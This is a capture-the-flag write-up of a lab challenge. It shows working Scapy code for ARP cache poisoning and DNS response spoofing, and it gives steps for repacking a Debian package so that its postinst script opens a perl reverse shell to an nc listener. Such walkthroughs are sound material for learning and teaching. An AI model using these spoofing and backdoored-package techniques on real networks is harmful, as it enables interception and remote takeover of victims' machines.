![f14075168449ffd18829e1bb0a3629a5.png](1f81b47c9acb471b85cde3da38e015e9.png)
![4c62657b41d0d04fd3e106063eb30777.png](4771c8b692c24b38a30137a8cd271b99.png)
First things first, let's take a look at the traffic
`tcpdump -nni eth0`
![deafdf435be215bf28751952440b3d1a.png](e2375502362848339f3cf3dbca9b3bf2.png)
Bunch of ARP requests asking who has `10.6.6.53` originating from `10.6.6.35` the known hijacked host. Let's use `Scapy` and gather some useful data that we could possibly use to spoof an ARP response
Let's start by capturing some packets
`tcpdump -nni eth0 -w test.pcap`
We can then read that pcap file in scapy using
`pkts = rdpcap('test.pcap')`
and view them with
`pkts.show()`
And specific packets with
`pkts[#]`
![a0f6ca2cf79fa93089b12cf42b3356b2.png](445de7eca44d40b092102e409c8f0269.png)
So we have `10.6.6.35`'s `MAC address`. Let's forge a packet claiming that *we* are `10.6.6.53`
In python/scapy:
`arpspoof = ARP(op=2, psrc='10.6.6.53', hwdst='4c:24:57:ab:ed:84', pdst='10.6.6.35')`
`op` = opcode, 2 denoting a reply
`psrc` = source IP (the IP we're saying is *us*)
`hwdst` = victim's MAC address
`pdst` = victim's IP address
Let's start capturing traffic again and send our packet
bash:
`tcpdump -nni eth0 -w test.pcap`
scapy/python:
`send(arpspoof)`
Looking through the packets we see
![96dfd0c0aa5f13d4295e75c299d31f63.png](8e46d65ab5654e8db329af049a9131f1.png)
Our ARP response was successful and we got a DNS Query back. The packet is at 18, let's check it out
`pkts[18]`
```
<Ether dst=02:42:0a:06:00:04 src=4c:24:57:ab:ed:84 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=60 id=1 flags= frag=0 ttl=64 proto=udp chksum=0x5a4d src=10.6.6.35 dst=10.6.6.53 |<UDP sport=35472 dport=domain len=40 chksum=0xafcd |<DNS id=0 qr=0 opcode=QUERY aa=0 tc=0 rd=1 ra=0 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR qname='ftp.osuosl.org.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>
```
Nice! Lots of useful info there. Maybe we can forge another packet, but this time a DNS response to resolve that domain to *our* ip address
Here is the packet I came up with:
```
newtest = IP(src='10.6.6.53', dst='10.6.6.35')/UDP(sport=53, dport=port)/DNS(id=0, qr=1, opcode=0, qdcount=1, qd=DNSQR(qname='ftp.osuosl.org'), ancount=1, an=DNSRR(rrname='ftp.osuosl.org', rdata='10.6.0.4'))
```
IP:
`src` = the source that we want the packet to *look* like it's coming from
`dst` = victim's IP
UDP:
`sport` = 'sending port', the port in which the request is being sent from. in our case, 53
`dport` = 'destination port', the port that we're sending to. This number will be the same number as `sport` in the DNS request packet that we received
DNS:
`id` = 0, same as the request
`qr` =
`opcode` = 0, normal
`qdcount` = question count, 1 question 1 answer
`qd` = question. The same as the request
`ancount` = answer count, 1 question 1 answer
`an` = our answer, `rrname` = domain from question, `rdata` = IP we want that domain to resolve to. in this case, our actual IP
So we have the packet, now what? Well, it doesn't work if we send it immediately. I guess we need to get another DNS request and send it fairly quickly after. Unfortunately, the `sport` changes each time, so we need to grab the `sport` from the new DNS resquest for our packet's `dport`.
I wrote a script to handle this
```
from scapy.all import *
recv = sniff(stop_filter = lambda x: x.haslayer(IP))
port = recv[-1][UDP].sport
newtest = IP(src='10.6.6.53', dst='10.6.6.35')/UDP(sport=53, dport=port)/DNS(id=0, qr=1, opcode=0, qdcount=1, qd=DNSQR(qname='ftp.osuosl.org'), ancount=1, an=DNSRR(rrname='ftp.osuosl.org', rdata='10.6.0.4'))
send(newtest)
```
This script runs in the background and sniffs each packet that comes through looking for a packet with an `IP` layer. Once it finds one, it stops and grabs the `sport` from that packet and sticks it in our DNS response packet. Once it's done that, it sends it off.
This should work, let's capture the traffic and send our spoofed ARP packet through scapy while our script is running
![178976cd34d8a68757a5fe155496f76d.png](4ac3978afd0043fcad96286e82e32434.png)
So we see the query, our DNS answer and then a bunch of TCP packets that we haven't seen yet with mention of http.
Interesting
Let's stand up an http server and see if we get a hit
`python3 -m http.server 80`
Fire up the script and send off our spoofed ARP packet and then...
![d50079f11e239e14fd6681e1c41dc73b.png](1a9d974a73aa4920b236d42d03f37f43.png)
So now we can see that it's making an HTTP request trying to download a debian package called `suriv_amd64.deb`
Let's give it that debian package.. kinda
First, let's create that directory structure
`/pub/jfrost/backdoor/`
Next, let's find a sutible package to play with. The challenge gave us a handful of them in the `debs` directory. I used nano.
Make a new directory to work in and copy whatever package you're using to that directory
Now unzip the package
`dpkg -x packagename work`
(work at the end creates a directory named work and unzips it there)
Let's create another directory called `DEBIAN` under `work`
`mkdir work/DEBIAN`
Now we're going to create the `control` and `postinst` files and move them to the `DEBIAN` directory
`ar -x packagename`
`tar -xf control.tar.gz ./control`
`tar -xf control.tar.gz ./postinst`
`mv control work/DEBIAN`
`mv postinst work/DEBIAN`
Now that we're set up, we need to figure out which reverse shell we want to use. I was talking to a few people on Discord about this, and found that a lot of the options just simply failed. For me, a `perl` reverse shell worked
Open up `work/DEBIAN/postinst` in your favorite editor and, in my case, right under the `set -e`, paste the reverse shell and edit it to contain our actual IP.
![158aa7c1039c2a25c58acc00a57f7f91.png](d120ffe3edb54ecdb08b2675008bbc78.png)
Now hit `postinst` with a `chmod 755` and build the package
`dpkg-deb --build work`
rename to match the file being request
`mv work.deb suriv_amd64.deb`
And move it to the right directory
`mv test/suriv_amd64.deb ~/pub/jfrost/backdoor`
We should be good. Fire up a listener
`nc -lvnp 4242`
Start our script and send off our spoofed ARP. With any luck you'll get a hit on your listener. If not, double check and make sure the IP is correct in the `postinst` file, and if it is, try it again. It will work.
![d4e2892f7e39f0a86fe44489ed1ff673.png](a3b6780cc99d4e22b8527b506343d3a2.png)
---
Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]]
Tags: #ctf #scapy #arp #scripting #python
Related: